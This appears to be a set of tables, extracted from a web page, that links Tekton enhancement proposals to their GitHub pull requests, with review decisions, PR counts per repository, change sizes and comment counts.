TEP-0044Data Locality and Pod Overhead in Pipelinescommunity#318 COMMENTEDcommunity#477 APPROVEDcommunity#521 APPROVEDcommunity#369 COMMENTEDcommunity#502 COMMENTED
TEP-0046Finally tasks execution post pipelinerun timeoutpipeline#3843 APPROVED
TEP-0049Aggregate Status of DAG Taskspipeline#3390 APPROVEDpipeline#3738 APPROVEDpipeline#3817 APPROVED
TEP-0050Ignore Task Failurescommunity#316 APPROVEDcommunity#318 COMMENTEDcommunity#302 COMMENTED
TEP-0051ppc64le Supportcommunity#211 APPROVED
TEP-0052Tekton Results: Automated Run Resource Cleanuppipeline#1486 CHANGES_REQUESTEDpipeline#1429 COMMENTED
TEP-0053Nested Triggerstriggers#946 COMMENTEDtriggers#1232 APPROVED
TEP-0056Pipelines in Pipelinescommunity#600 APPROVED
TEP-0057Windows supportpipeline#3909 COMMENTEDpipeline#4018 APPROVEDpipeline#4138 APPROVEDpipeline#4128 COMMENTEDpipeline#4139 APPROVED
TEP-0058Graceful Pipeline Run Terminationcommunity#326 COMMENTEDpipeline#3915 COMMENTED
TEP-0059Skipping Strategiespipeline#4085 APPROVEDcommunity#374 COMMENTEDcommunity#159 APPROVEDcommunity#246 COMMENTEDcommunity#258 COMMENTEDpipeline#3176 APPROVED
TEP-0060Remote Resource Resolutioncommunity#352 COMMENTEDcommunity#537 COMMENTEDcommunity#479 APPROVEDcommunity#529 APPROVEDpipeline#4859 APPROVEDpipeline#5200 CHANGES_REQUESTEDpipeline#5384 APPROVEDpipeline#5391 COMMENTEDpipeline#5395 APPROVEDexperimental#723 COMMENTEDexperimental#806 COMMENTED
TEP-0061Allow custom task to be embedded in pipelinepipeline#3901 APPROVEDpipeline#3977 APPROVEDpipeline#4005 COMMENTED
TEP-0062Catalog Tags and Hub Categories Managementcatalog#658 APPROVED
TEP-0067Tekton Catalog Pipeline Organizationcommunity#389 COMMENTED
TEP-0069Support retries for custom task in a pipeline.pipeline#4327 APPROVED
TEP-0070Platform support in Tekton catalogcommunity#310 COMMENTEDcatalog#772 APPROVEDhub#282 COMMENTED
TEP-0072Results: JSON Serialized Recordsresults#121 APPROVED
TEP-0073Simplify metricspipeline#4201 APPROVEDpipeline#4630 APPROVED
TEP-0074Deprecate PipelineResourcescommunity#479 APPROVEDexperimental#770 APPROVEDcommunity#285 COMMENTEDpipeline#4376 APPROVED
TEP-0075Object/Dictionary param and result typescommunity#477 APPROVEDcommunity#480 APPROVEDcommunity#240 APPROVEDpipeline#4786 CHANGES_REQUESTEDpipeline#4861 APPROVEDpipeline#4867 APPROVEDpipeline#4878 APPROVEDpipeline#4883 APPROVEDpipeline#4902 APPROVEDpipeline#4904 APPROVEDpipeline#5007 APPROVEDpipeline#5083 COMMENTEDpipeline#5088 APPROVEDpipeline#5090 APPROVEDpipeline#5142 APPROVEDpipeline#5144 COMMENTEDpipeline#5197 APPROVEDpipeline#5222 APPROVEDpipeline#5427 APPROVED
TEP-0076Array result typescommunity#479 APPROVEDexperimental#713 APPROVEDcommunity#240 APPROVEDcommunity#521 APPROVEDcommunity#314 COMMENTEDpipeline#4779 APPROVEDpipeline#4818 APPROVEDpipeline#4855 APPROVEDpipeline#4908 APPROVEDpipeline#4911 APPROVEDpipeline#4920 APPROVEDpipeline#4965 APPROVEDpipeline#5088 APPROVEDpipeline#5132 APPROVEDpipeline#5139 APPROVED
TEP-0079Tekton Catalog Support Tierscommunity#170 COMMENTED
TEP-0080Support domain-scoped parameter/result namescommunity#479 APPROVEDpipeline#4215 APPROVEDpipeline#4268 APPROVED
TEP-0081Add Chains sub-command to the CLIcommunity#508 APPROVEDcli#1440 APPROVEDchains#245 APPROVED
TEP-0083Polling runs in Tektoncommunity#517 COMMENTED
TEP-0084end-to-end provenance collectionchains#436 CHANGES_REQUESTEDchains#598 APPROVEDchains#568 APPROVEDchains#573 APPROVEDchains#564 APPROVEDchains#599 CHANGES_REQUESTEDchains#590 CHANGES_REQUESTED
TEP-0085Per-Namespace Controller Configurationcommunity#506 APPROVEDcommunity#607 COMMENTEDpipeline#4499 COMMENTED
TEP-0086Changing the way result parameters are storedcommunity#477 APPROVEDpipeline#5337 COMMENTED
TEP-0089Non-falsifiable provenance supportcommunity#521 APPROVEDcommunity#643 COMMENTED
TEP-0091Trusted Resourcespipeline#5552 CHANGES_REQUESTEDpipeline#5581 CHANGES_REQUESTEDpipeline#5714 CHANGES_REQUESTEDpipeline#5890 APPROVEDpipeline#5891 CHANGES_REQUESTEDpipeline#5965 CHANGES_REQUESTEDpipeline#6324 CHANGES_REQUESTEDpipeline#6328 CHANGES_REQUESTEDpipeline#6406 APPROVEDpipeline#6663 APPROVEDpipeline#6673 APPROVEDpipeline#6691 APPROVEDpipeline#6736 APPROVEDpipeline#6754 APPROVEDpipeline#6757 APPROVEDpipeline#6724 APPROVEDpipeline#6738 APPROVEDpipeline#6764 APPROVEDpipeline#6765 APPROVED
TEP-0092Scheduling Timeoutcommunity#203 COMMENTEDcommunity#948 APPROVEDcommunity#968 APPROVED
TEP-0094Configuring Resources at Runtimepipeline#4575 COMMENTEDpipeline#4617 APPROVEDpipeline#4598 CHANGES_REQUESTED
TEP-0096Pipelines V1pipeline#5579 APPROVED
TEP-0098Workflowsexperimental#921 COMMENTEDexperimental#928 COMMENTEDcommunity#147 COMMENTEDdashboard#1612 COMMENTED
TEP-0100Embedded TaskRuns and Runs Status in PipelineRunspipeline#4705 APPROVEDpipeline#4734 COMMENTEDpipeline#4753 APPROVEDpipeline#4757 APPROVEDpipeline#4760 APPROVEDpipeline#4739 APPROVEDcommunity#606 APPROVED
TEP-0101Env in POD templatepipeline#3566 CHANGES_REQUESTEDpipeline#5699 APPROVED
TEP-0102HTTPS Connection to Triggers ClusterInterceptortriggers#1333 APPROVED
TEP-0103Skipping Reasonpipeline#4829 APPROVED
TEP-0104Task-level Resource Requirementspipeline#4877 APPROVEDpipeline#5212 APPROVEDpipeline#5082 APPROVED
TEP-0105Remove Pipeline v1alpha1 APIpipeline#5005 APPROVED
TEP-0106Support Specifying Metadata per Task in Runtimepipeline#4834 APPROVEDcommunity#695 APPROVED
TEP-0107Propagating Parameterspipeline#4484 APPROVEDpipeline#4906 APPROVEDpipeline#4845 APPROVED
TEP-0108Mapping Workspacespipeline#4887 APPROVED
TEP-0109Better structured provenance retrieval in Tekton Chainscommunity#521 APPROVEDcommunity#739 APPROVED
TEP-0114Custom Tasks Betacommunity#816 APPROVEDpipeline#5005 APPROVEDcommunity#523 COMMENTED
TEP-0115Tekton Catalog Git-Based Versioningresolution#75 APPROVEDpipeline#5666 CHANGES_REQUESTEDcatlin#6 APPROVED
TEP-0116Referencing Finally Task Results in Pipeline Resultspipeline#5170 APPROVED
TEP-0117Tekton Results Logsresults#203 COMMENTEDresults#301 COMMENTED
TEP-0120Canceling Concurrent PipelineRunsexperimental#895 COMMENTEDpipeline#5501 COMMENTEDtriggers#1446 COMMENTEDcommunity#716 COMMENTEDcommunity#228 CHANGES_REQUESTED
TEP-0121Refine Retries for TaskRuns and CustomRunspipeline#5393 COMMENTED
TEP-0123Specifying on-demand-retry in a PipelineTaskcommunity#484 COMMENTEDcommunity#422 COMMENTEDcommunity#203 COMMENTED
TEP-0124Distributed tracing for Tasks and Pipelinespipeline#5746 APPROVED
TEP-0125Add credential filter to entrypoint loggerpipeline#4837 COMMENTED
TEP-0127Larger Results via Sidecar Logscommunity#745 CHANGES_REQUESTED
TEP-0130Pipeline-level Servicecommunity#877 COMMENTED
TEP-0133Configure Default Resolverpipeline#6317 COMMENTEDpipeline#6339 APPROVED
TEP-0135Coscheduling PipelineRun podspipeline#2630 APPROVED
TEP-0137CloudEvents controllercommunity#1028 APPROVEDpipeline#6884 APPROVEDpipeline#6889 CHANGES_REQUESTEDpipeline#6529 CHANGES_REQUESTED
TEP-0138Decouple API and feature versioningpipeline#6732 APPROVEDpipeline#6444 APPROVEDpipeline#5530 COMMENTEDpipeline#6939 APPROVEDpipeline#7032 APPROVEDpipeline#6941 APPROVEDpipeline#7076 APPROVEDpipeline#7090 APPROVEDpipeline#7627 COMMENTEDpipeline#7633 APPROVEDplumbing#1803 APPROVEDpipeline#7657 APPROVEDpipeline#7662 APPROVED
TEP-0139Trusted Artifactscommunity#1065 DISMISSED
TEP-0140Producing Results in Matrixpipeline#7167 APPROVEDpipeline#6510 APPROVED
TEP-0142Enable Step Reusabilitycommunity#369 COMMENTEDcommunity#502 COMMENTEDpipeline#7124 COMMENTED
TEP-0145CEL in WhenExpressioncommunity#1077 APPROVEDpipeline#7245 APPROVEDpipeline#7247 APPROVEDpipeline#7251 APPROVEDpipeline#7255 APPROVED
TEP-0146Parameters in Scriptcommunity#1072 APPROVEDcatalog#711 COMMENTEDplumbing#973 APPROVEDplumbing#974 APPROVEDplumbing#975 APPROVEDplumbing#976 APPROVEDplumbing#977 APPROVEDcommunity#521 APPROVEDcommunity#208 APPROVEDcommunity#596 COMMENTED
TEP-0147Tekton Artifacts phase 1pipeline#8103 CHANGES_REQUESTED
TEP-0149Tekton CLI Local Data Uploadcli#1334 COMMENTED
TEP-0150displayName in Matrixpipeline#7273 APPROVEDcommunity#593 APPROVED
TEP-0155Store Pipeline Events in Tekton Resultsresults#745 COMMENTED
TEP-0156WhenExpressions in Stepspipeline#7746 APPROVED
TEP-0158Pipeline fail-fastpipeline#7987 CHANGES_REQUESTED
+
+
+
+ PRs by repo +
+ + + +
RepoPR count
pipeline148
community56
triggers12
chains8
experimental8
plumbing6
catalog4
cli4
results4
catlin1
dashboard1
hub1
resolution1
+
+
+
+ PR records +
+ + + +
PRTitleReview decisionSizeComment count
catalog#499Add support to mount kubeconfig in `tkn` taskAPPROVED+167/-0 (5 files)4
catalog#658Adds `category` field as an annotation as `tekton.dev/categories`APPROVED+160/-2 (158 files)11
catalog#711Pass git-clone Params as EnvVars InsteadCOMMENTED+120/-39 (3 files)0
catalog#772Add documentation about platform information for resourcesAPPROVED+23/-5 (2 files)0
catlin#6[TEP-0115] Git-based Versioning ValidationAPPROVED+125/-12 (5 files)0
chains#245Add new signing and storage featuresAPPROVED+1479/-261 (45 files)14
chains#436TEP-84: PipelineRun AttestationsCHANGES_REQUESTED+4502/-824 (57 files)74
chains#564Use event updates for PR reconciliationAPPROVED+63/-17 (4 files)12
chains#568Update PipelineRun attestation buildTypeAPPROVED+4/-11 (3 files)0
chains#573Document PipelineRun attestationsAPPROVED+298/-21 (3 files)0
chains#590Grafeas storage for PipelineRun-level provenanceCHANGES_REQUESTED+764/-329 (12 files)35
chains#598Adding pipelinerun attestations to e2e testsAPPROVED+859/-367 (13 files)4
chains#599Support structured results for PipelineRunObjectCHANGES_REQUESTED+87/-23 (4 files)8
cli#1312Introduce a tkn bundle push command to produce Tekton bundlesAPPROVED+1774/-1 (26 files)2
cli#1328Add a bundle pull command to fetch tekton bundle contentsCHANGES_REQUESTED+1048/-27 (23 files)23
cli#1334Use files on local machine in a pipeline (Experiment)COMMENTED+59818/-2 (256 files)2
cli#1440Add Chains management commandAPPROVED+637339/-1794 (2761 files)15
community#147TEP-0004: Tekton Integrations - Annotations and StatusesCOMMENTED+694/-0 (1 files)28
community#159TEP-0007: Conditions BetaAPPROVED+621/-0 (1 files)57
community#170TEP for Catalog Test Requirements and Infra for Verified+COMMENTED+551/-0 (1 files)21
community#186Changed Knative Triggers TEP Status to Implementable and addressed few open pointsCOMMENTED+27/-14 (1 files)1
community#203TEP-0015 - Add a pending setting to Tekton PipelineRun and TaskRuns COMMENTED+118/-0 (1 files)51
community#208TEP-0017 Propose creating shell-escaped parametersAPPROVED+175/-0 (1 files)12
community#211TEP-0019: Add other architecture supportAPPROVED+183/-0 (1 files)15
community#217TEP-0021: Results APICHANGES_REQUESTED+777/-0 (1 files)32
community#218TEP-0022: Triggers - Immutable Input EventsCOMMENTED+434/-0 (1 files)20
community#228TEP-0013 for adding a limit to pipeline concurrencyCHANGES_REQUESTED+282/-0 (1 files)66
community#229TEP-0026- Add TEP for interceptor pluginsCHANGES_REQUESTED+536/-0 (1 files)84
community#240TEP-0048: task results without results - problem statementAPPROVED+294/-0 (2 files)55
community#246TEP-0007: Conditions Beta Skipping - WhenSkippedCOMMENTED+13/-13 (1 files)2
community#258TEP-0007: Conditions Beta Skipping - When ScopeCOMMENTED+96/-42 (1 files)9
community#285TEP 0030 Workspace Paths Technical ProposalCOMMENTED+470/-0 (1 files)4
community#302TEP-0040 - ignore step errorCOMMENTED+158/-0 (2 files)27
community#310TEP-0041: Move Image Entrypoint Lookup to the TaskRun PodCOMMENTED+167/-0 (2 files)20
community#314TEP-0043: Common Expression Language Custom Task (CELRun)COMMENTED+531/-0 (2 files)1
community#316Add TEP-0044: Decouple Task Composition from Scheduling ➰APPROVED+1001/-0 (2 files)131
community#318Add TEP-0046: Colocation of Tasks and Workspaces (formerly PipelineRun in a Pod)COMMENTED+124/-0 (2 files)11
community#326TEP-0046: Finally tasks execution post pipelinerun timeoutCOMMENTED+312/-0 (2 files)40
community#352TEP- 0067 Tekton Catalog Pipeline OrganizationCOMMENTED+497/-0 (2 files)86
community#369TEP-0054 Add a step reuse proposalCOMMENTED+135/-0 (2 files)0
community#374TEP-0056: Pipelines in PipelinesCOMMENTED+231/-0 (2 files)13
community#389TEP-0060: Remote Resource ResolutionCOMMENTED+392/-0 (2 files)29
community#422TEP-0065: Retry failed tasks on demand in a pipelineCOMMENTED+259/-0 (2 files)37
community#477[TEP-0076] Propose array results and indexing 🐠APPROVED+638/-0 (2 files)65
community#479[TEP-0075] Propose object (dictionary) param and result types 🤓APPROVED+925/-0 (2 files)82
community#480[TEP-0074] Deprecate PipelineResources ☠️APPROVED+403/-0 (2 files)9
community#484TEP-0077: Partial pipeline execute.COMMENTED+497/-0 (2 files)27
community#502[TEP-0080] Proposal: TaskRun Pre/Post stepsCOMMENTED+164/-0 (2 files)9
community#506TEP-0085: Per-namespace Controller Configuration (eg feature flags) [Problem Statement]APPROVED+106/-0 (2 files)2
community#508TEP-0081: Add Chains sub-command to the CLIAPPROVED+347/-0 (2 files)27
community#517TEP-0083: Scheduled and Polling runs in TektonCOMMENTED+326/-0 (2 files)22
community#521TEP-0086: Changing the way result parameters are storedAPPROVED+427/-0 (2 files)60
community#523TEP-0087: Custom Tasks GraduationCOMMENTED+455/-0 (2 files)85
community#529TEP-0089: Non-falsifiable provenance supportAPPROVED+257/-1 (3 files)78
community#537TEP-0091: Verified Remote ResourcesCOMMENTED+551/-0 (2 files)37
community#593TEP-0047: Update and move to implementableAPPROVED+29/-16 (2 files)1
community#596TEP-0099: `Parameters` in `Script`COMMENTED+593/-0 (2 files)42
community#600TEP-0090: Matrix [Proposal]APPROVED+1040/-14 (2 files)38
community#606TEP-0100: Embedded TaskRuns and Runs Status in PipelineRuns [Problem Statement]APPROVED+202/-0 (2 files)5
community#607TEP-0085: Per-Namespace Controller Configuration [Proposal]COMMENTED+37/-0 (1 files)9
community#643[TEP-0089] Update TEP-0089 to implementableCOMMENTED+512/-40 (2 files)66
community#695TEP-0106: Support Specifying Metadata per Task in RuntimeAPPROVED+311/-0 (2 files)6
community#716TEP ~ Automatically manage concurrent PipelineRunsCOMMENTED+370/-0 (2 files)14
community#739[TEP-0091]Trusted ResourcesAPPROVED+338/-0 (2 files)55
community#745TEP-0086: Larger Results via Sidecar LogsCHANGES_REQUESTED+66/-17 (2 files)44
community#816TEP-0121: Refine Retries for TaskRuns and CustomRunsAPPROVED+372/-0 (2 files)85
community#877TEP-0126: Allow Task sidecars to be specified in PipelineRunCOMMENTED+124/-0 (2 files)22
community#948TEP-0092: TaskRun Timeouts - Updated ProposalAPPROVED+413/-253 (2 files)59
community#968[TEP-0132] Queueing concurrent Runs [Problem statement]APPROVED+349/-47 (3 files)9
community#1028[TEP-0137] CloudEvents controllerAPPROVED+528/-0 (2 files)16
community#1065[TEP-0142] Enable Step ReusabilityDISMISSED+1145/-0 (8 files)64
community#1072[TEP-0144] Param EnumAPPROVED+330/-0 (2 files)32
community#1077[TEP-0146] `Parameters` in `Script`APPROVED+750/-0 (2 files)45
dashboard#1612[WIP] Add continuous integration models (Projects and Builds)COMMENTED+4244/-9 (60 files)0
experimental#461Oci tool: makes use of oci-artifacts to store and retrieve Tekton resourcesAPPROVED+1711/-0 (14 files)9
experimental#713[task-loops] Support string input for iterate parameterAPPROVED+90/-38 (3 files)0
experimental#723WIP Add a CatalogTask Custom Task TypeCOMMENTED+2167/-0 (20 files)0
experimental#770[pipeline-to-taskrun] Add custom task that runs a Pipeline as a TaskRun 🍙APPROVED+5870/-1 (38 files)7
experimental#806[remote-resolution] Proof-of-Concept ControllerCOMMENTED+10159/-0 (113 files)0
experimental#895POC: Concurrency prototype with separate controllerCOMMENTED+7876/-0 (71 files)0
experimental#921[workflows] POC using fluxCOMMENTED+1792/-138 (21 files)0
experimental#928[workflows] POC using Knative GitHub eventsourceCOMMENTED+3404/-1462 (51 files)0
hub#282Add platform information support for resourcesCOMMENTED+2869/-106 (84 files)19
pipeline#1429About deleting completed TaskRun or PipelineRun automaticallyCOMMENTED+353753/-293225 (2421 files)14
pipeline#1486Adding support to delete completed TaskRun or PipelineRun automaticallyCHANGES_REQUESTED+2317/-494 (50 files)31
pipeline#1573Allow steps to run regardless of previous step errorsCOMMENTED+407/-40 (16 files)0
pipeline#1921Update task run status with resultsCOMMENTED+387/-20 (9 files)12
pipeline#2630Add Node Affinity for TaskRuns that share PVC workspaceAPPROVED+877/-40 (13 files)35
pipeline#2797WIP: add sar lib; webhook for sar on SA -> clustertaskCOMMENTED+850/-6 (17 files)3
pipeline#3087Step timeoutCHANGES_REQUESTED+342/-60 (18 files)48
pipeline#3103Add `StdoutConfig` and `StderrConfig` to steps.COMMENTED+675/-12 (16 files)4
pipeline#3131Add minimal initial API spec documentAPPROVED+321/-0 (1 files)40
pipeline#3176Support skipping single task onlyAPPROVED+614/-2 (12 files)12
pipeline#3242consuming task results in finallyAPPROVED+629/-85 (13 files)63
pipeline#3390access execution status of any task in finallyAPPROVED+629/-6 (15 files)41
pipeline#3400Init conformance testAPPROVED+113/-1 (2 files)5
pipeline#3463Integrate custom tasks into PipelinesAPPROVED+2261/-442 (38 files)65
pipeline#3522Implement Pending PipelineRun status (TEP-0015)COMMENTED+238/-5 (9 files)8
pipeline#3566Add support for env in podtemplateCHANGES_REQUESTED+360/-3 (8 files)1
pipeline#3601Do not allow use of deprecated Conditions with custom tasksAPPROVED+21/-0 (3 files)2
pipeline#3700Add Step and Sidecar Workspaces featureAPPROVED+1337/-16 (20 files)43
pipeline#3738WhenExpressions in Finally TasksAPPROVED+782/-56 (12 files)55
pipeline#3770Add variables context.pipelineTask.retries and context.task.retry-countAPPROVED+225/-8 (12 files)21
pipeline#3817an aggregate status of tasks in finallyAPPROVED+218/-15 (11 files)37
pipeline#3843Add a Timeouts optional field to pipelinerunAPPROVED+957/-34 (16 files)29
pipeline#3881Implement TEP-0033: Add enable-api-fields feature-flagCOMMENTED+454/-37 (15 files)23
pipeline#3901TEP-0061, Allow custom task to be embedded.APPROVED+795/-99 (20 files)60
pipeline#3909Add a nodeAffinity rule to the controller and webhook deploymentsCOMMENTED+17/-0 (2 files)0
pipeline#3915Graceful Pipeline Run TerminationCOMMENTED+1583/-193 (19 files)55
pipeline#3977Validate run for both ref and spec as nil.APPROVED+16/-3 (2 files)0
pipeline#4005A custom task check could be true, even though the Provided Spec is invalid.COMMENTED+17/-1 (2 files)0
pipeline#4018Fix Windows image entrypoint paths for parity with LinuxAPPROVED+6/-6 (2 files)0
pipeline#4085TEP-0059: Skipping StrategiesAPPROVED+1522/-162 (15 files)64
pipeline#4106TEP-0040 implementation - specifying `onError` in a step APPROVED+1482/-52 (28 files)43
pipeline#4127Implement implicit parameter resolution.APPROVED+910/-38 (18 files)29
pipeline#4128Add script mode support to windows tasksCOMMENTED+591/-26 (11 files)13
pipeline#4138Add docs and examples for WindowsAPPROVED+236/-0 (5 files)0
pipeline#4139Add e2e tests for WindowsAPPROVED+192/-0 (2 files)4
pipeline#4201Add Configuration for Metrics Cardinality SimplificationAPPROVED+835/-186 (19 files)0
pipeline#4215Allow `.` in param/result names via subscript.APPROVED+153/-80 (9 files)3
pipeline#4268Support for single-quote bracket notation for paramsAPPROVED+37/-9 (8 files)2
pipeline#4327TEP-69, Implementation. Support retry for custom tasks.APPROVED+56/-15 (9 files)5
pipeline#4376Deprecate `PipelineResources`APPROVED+190/-39 (31 files)4
pipeline#4484Implicit params: only propagate params to embedded TaskSpecs in Pipelines.APPROVED+110/-37 (2 files)0
pipeline#4499feature-flags configuration per namespaceCOMMENTED+112/-1 (3 files)0
pipeline#4575Add Step and Sidecar Overrides to TaskRun APICOMMENTED+658/-18 (12 files)5
pipeline#4598Implement Step and Sidecar Overrides for TaskRunCHANGES_REQUESTED+362/-13 (9 files)6
pipeline#4617Add functions to merge step/sidecar overridesAPPROVED+491/-35 (2 files)6
pipeline#4630Change Default Metrics Level for Taskrun and PipelinerunAPPROVED+12/-17 (6 files)6
pipeline#4705[TEP-0100] Fields/flags/docs for embedded TaskRun and Run statuses in PipelineRunsAPPROVED+498/-100 (11 files)10
pipeline#4734[TEP-0100] Prepare for testing of minimal status implementationCOMMENTED+1480/-751 (2 files)25
pipeline#4739[TEP-0100] Implementation for embedded TaskRun and Run statuses in PipelineRunsAPPROVED+1079/-177 (10 files)79
pipeline#4753Switch ApplyTaskResultsToPipelineResults to not use status mapsAPPROVED+320/-341 (5 files)5
pipeline#4757[TEP-0100] Add functionality to be used in supporting minimal embedded statusAPPROVED+437/-99 (5 files)6
pipeline#4760[TEP-0100] Add new `updatePipelineRunStatusFromChildRefs` functionAPPROVED+849/-330 (3 files)7
pipeline#4779[TEP-0076]Add type for resultsAPPROVED+181/-27 (11 files)32
pipeline#4786[TEP-0075] Support Dictionary in ParamsCHANGES_REQUESTED+646/-50 (14 files)121
pipeline#4818[TEP-0076] Add array support for emitting resultsAPPROVED+574/-79 (22 files)113
pipeline#4829TEP-0103: Skipping Reason - Add SkippingReason to SkippedTasks field of PipelineRunStatusAPPROVED+114/-77 (9 files)9
pipeline#4834TEP-0106: Support Specifying Metadata per Task in RuntimeAPPROVED+195/-25 (7 files)23
pipeline#4837Add credentials filter to entrypoint loggerCOMMENTED+1462/-23 (29 files)48
pipeline#4845TEP-0107: Implement Parameter PropagationAPPROVED+789/-32 (11 files)23
pipeline#4855[TEP-0076] Add indexing into array for pipeline params referenceAPPROVED+1038/-1 (10 files)40
pipeline#4859Add taskRef remote resolution supportAPPROVED+653/-114 (17 files)12
pipeline#4861[TEP-0075] Validate against using the whole object in task stepsAPPROVED+301/-28 (4 files)17
pipeline#4867[TEP-0075] Extract out the validation of object keysAPPROVED+33/-15 (2 files)2
pipeline#4877[TEP-0104] Support Task-level Resource Requirements for TaskRun: Part #1 Fields Addition & Validation w/ Docs Updates APPROVED+344/-7 (13 files)76
pipeline#4878[TEP-0075] Validate task result variable of object typeAPPROVED+126/-16 (5 files)38
pipeline#4882TEP-0011: Add StdoutConfig and StderrConfig to steps.COMMENTED+1313/-17 (24 files)11
pipeline#4883[TEP-0075] Validate object keys, PipelineRunSpec -> PipelineSpecAPPROVED+194/-16 (5 files)7
pipeline#4887TEP-0108: Mapping WorkspacesAPPROVED+349/-26 (9 files)21
pipeline#4902TEP-0075: Validate Pipeline object variables in value, matrix and whenAPPROVED+375/-23 (5 files)24
pipeline#4904TEP-0075: Implement object var replacement on task&taskrun levelAPPROVED+286/-8 (2 files)14
pipeline#4906TEP-0107: Deprecated implicit parametersAPPROVED+0/-1082 (11 files)0
pipeline#4908[TEP-0076]Support Array Results substitutionAPPROVED+229/-10 (13 files)44
pipeline#4911[TEP-0076]Support Results Array IndexingAPPROVED+328/-13 (9 files)21
pipeline#4920[TEP-0076]Validate Results type and object properties APPROVED+381/-7 (7 files)22
pipeline#4965[TEP-0076]Pipeline results support arrayAPPROVED+273/-84 (15 files)21
pipeline#5005Remove v1alpha1 Pipeline, PipelineRun, Task, TaskRun, and ClusterTaskAPPROVED+174/-23789 (212 files)4
pipeline#5007TEP-0075: Object variable replacement on Pipeline/PipelineRun levelAPPROVED+574/-37 (6 files)9
pipeline#5082[TEP-0104] Update Pod with Task-level Resource RequirementsAPPROVED+482/-3 (5 files)55
pipeline#5083[TEP-0075] Support Object Results substitutionCOMMENTED+185/-5 (7 files)9
pipeline#5088[TEP-0075]Pipeline results support objectAPPROVED+378/-83 (11 files)23
pipeline#5090TEP-0075: Validate object name and key name have no dotsAPPROVED+131/-34 (3 files)7
pipeline#5132[TEP-0076] Add indexing into array for taskrun params referenceAPPROVED+715/-9 (8 files)13
pipeline#5139[TEP-0076]Validate Pipeline results array indexAPPROVED+81/-13 (6 files)0
pipeline#5142[TEP-0075]Add more setdefaults features for taskresultsAPPROVED+226/-6 (4 files)5
pipeline#5144TEP-0075: Add examples with object params and resultsCOMMENTED+88/-0 (2 files)5
pipeline#5170TEP-0116: Referencing Finally Task Results in Pipeline ResultsAPPROVED+679/-31 (8 files)41
pipeline#5197TEP-0075: Add a pipeline run example with both object param and resultAPPROVED+86/-52 (2 files)2
pipeline#5200Add types and client for ResolutionCHANGES_REQUESTED+5627/-731 (75 files)20
pipeline#5212[TEP-0104] Populate Task-level Resource Requirements from PipelineRun to TaskRunAPPROVED+154/-0 (3 files)5
pipeline#5222[TEP-0075] Add variable usage and links to examples in docsAPPROVED+13/-13 (2 files)4
pipeline#5337[POC] TEP-0086 - Large results using workspaceCOMMENTED+959/-41 (18 files)0
pipeline#5384Move Resolution bundle, git, and hub resolver pkgs overAPPROVED+84473/-0 (486 files)0
pipeline#5391Add combined remote resolvers binaryCOMMENTED+423/-35 (21 files)0
pipeline#5393TEP-0114: Clarify the Behavior of Custom Task RetriesCOMMENTED+2/-5 (1 files)2
pipeline#5395Add resolvers deployment, with release and e2e integrationAPPROVED+884/-11 (20 files)0
pipeline#5427TEP-0075: More flexible ways to provide values for object param keysAPPROVED+114/-133 (9 files)17
pipeline#5501POC: Canceling concurrent PipelineRunsCOMMENTED+11586/-3020 (248 files)5
pipeline#5530Remove alpha feature gate from projected workspacesCOMMENTED+4/-36 (7 files)0
pipeline#5552[TEP-0091] Trusted resources alpha add sigstore packagesCHANGES_REQUESTED+77003/-25664 (844 files)11
pipeline#5579V1 CRD releaseAPPROVED+6014/-4 (90 files)58
pipeline#5581[TEP-0091] Add Verification at reconcilerCHANGES_REQUESTED+3057/-284 (41 files)123
pipeline#5666[TEP-0115] Support Artifact Hub in Hub ResolverCHANGES_REQUESTED+590/-157 (10 files)32
pipeline#5699TEP-0101 PodTemplate should support environment variables.APPROVED+501/-8 (23 files)25
pipeline#5714[TEP-0091] Add VerificationPolicy types to configure public keysCHANGES_REQUESTED+4675/-972 (53 files)238
pipeline#5746[TEP-0124] implement opentelemetry Jaeger tracingAPPROVED+38825/-10 (206 files)17
pipeline#5890[TEP-0091] add KMS librariesAPPROVED+156952/-31 (601 files)5
pipeline#5891[TEP-0091] add KMS fieldCHANGES_REQUESTED+128/-6 (4 files)32
pipeline#5965[TEP-0091] enable kms in trusted resourcesCHANGES_REQUESTED+237/-9 (6 files)20
pipeline#6317[TEP-0133]: Configure Default ResolverCOMMENTED+468/-62 (19 files)10
pipeline#6324[TEP-0091] change feature flag resource-verification-mode to trusted-resources-verification-no-match-policyCHANGES_REQUESTED+603/-450 (22 files)70
pipeline#6328[TEP-0091] Add mode for VerificationPolicyCHANGES_REQUESTED+118/-0 (6 files)9
pipeline#6339[TEP-0133] Refactor set default test helperAPPROVED+142/-331 (5 files)8
pipeline#6406[TEP-0091] use verification mode in trusted resourcesAPPROVED+92/-29 (4 files)19
pipeline#6444Change the Storage Version to V1 TypesAPPROVED+8541/-8606 (175 files)139
pipeline#6510feat: support to produce results from a failed taskAPPROVED+233/-6 (7 files)3
pipeline#6529Run events controller as separate binaryCHANGES_REQUESTED+297/-1 (8 files)11
pipeline#6663[TEP-0091] add VerificationResultAPPROVED+22/-0 (1 files)19
pipeline#6673[TEP-0091] use VerificationResult in verifyAPPROVED+195/-112 (4 files)36
pipeline#6691[TEP-0091] return VerificationResult from GetTaskAPPROVED+263/-195 (9 files)35
pipeline#6724merge VerifyTask and VerifyPipeline into VerifyResourceAPPROVED+64/-66 (5 files)7
pipeline#6732Enable beta features by defaultAPPROVED+63/-31 (19 files)0
pipeline#6736[TEP-0091] return VerificationResult from GetPipelineAPPROVED+176/-155 (5 files)14
pipeline#6738[TEP-0091] add v1 support for VerifyResourceAPPROVED+173/-23 (2 files)5
pipeline#6754[TEP-0091] add more no error test cases for taskrun and pipelinerunAPPROVED+173/-82 (2 files)5
pipeline#6757[TEP-0091] update taskrun and pipelinerun condition based on VerificationResultAPPROVED+202/-46 (6 files)14
pipeline#6764[TEP-0091] support remote v1 task verificationAPPROVED+624/-35 (4 files)15
pipeline#6765[TEP-0091] support remote v1 pipeline verificationAPPROVED+770/-5 (4 files)5
pipeline#6884[TEP-0137] Rename customrun packageAPPROVED+2/-4 (5 files)0
pipeline#6889[TEP-0137] Restructure customrun event controllerCHANGES_REQUESTED+762/-140 (16 files)26
pipeline#6939Do not require enable-api-fields=alpha for spireAPPROVED+19/-42 (6 files)6
pipeline#6941[TEP0138] Decouple v1beta1 beta feature validationAPPROVED+756/-66 (20 files)58
pipeline#7032[internal version] conversion between v1 and internal versionAPPROVED+3829/-4 (19 files)3
pipeline#7076[TEP0138] RFC: Add feature graduation process documentationAPPROVED+15/-0 (1 files)5
pipeline#7090[TEP0138] Add Per-feature Flag Struct for New FeaturesAPPROVED+209/-129 (4 files)22
pipeline#7124Poc: StepAction CRD (TEP 0142 - Enable Step reusability)COMMENTED+5713/-26 (56 files)0
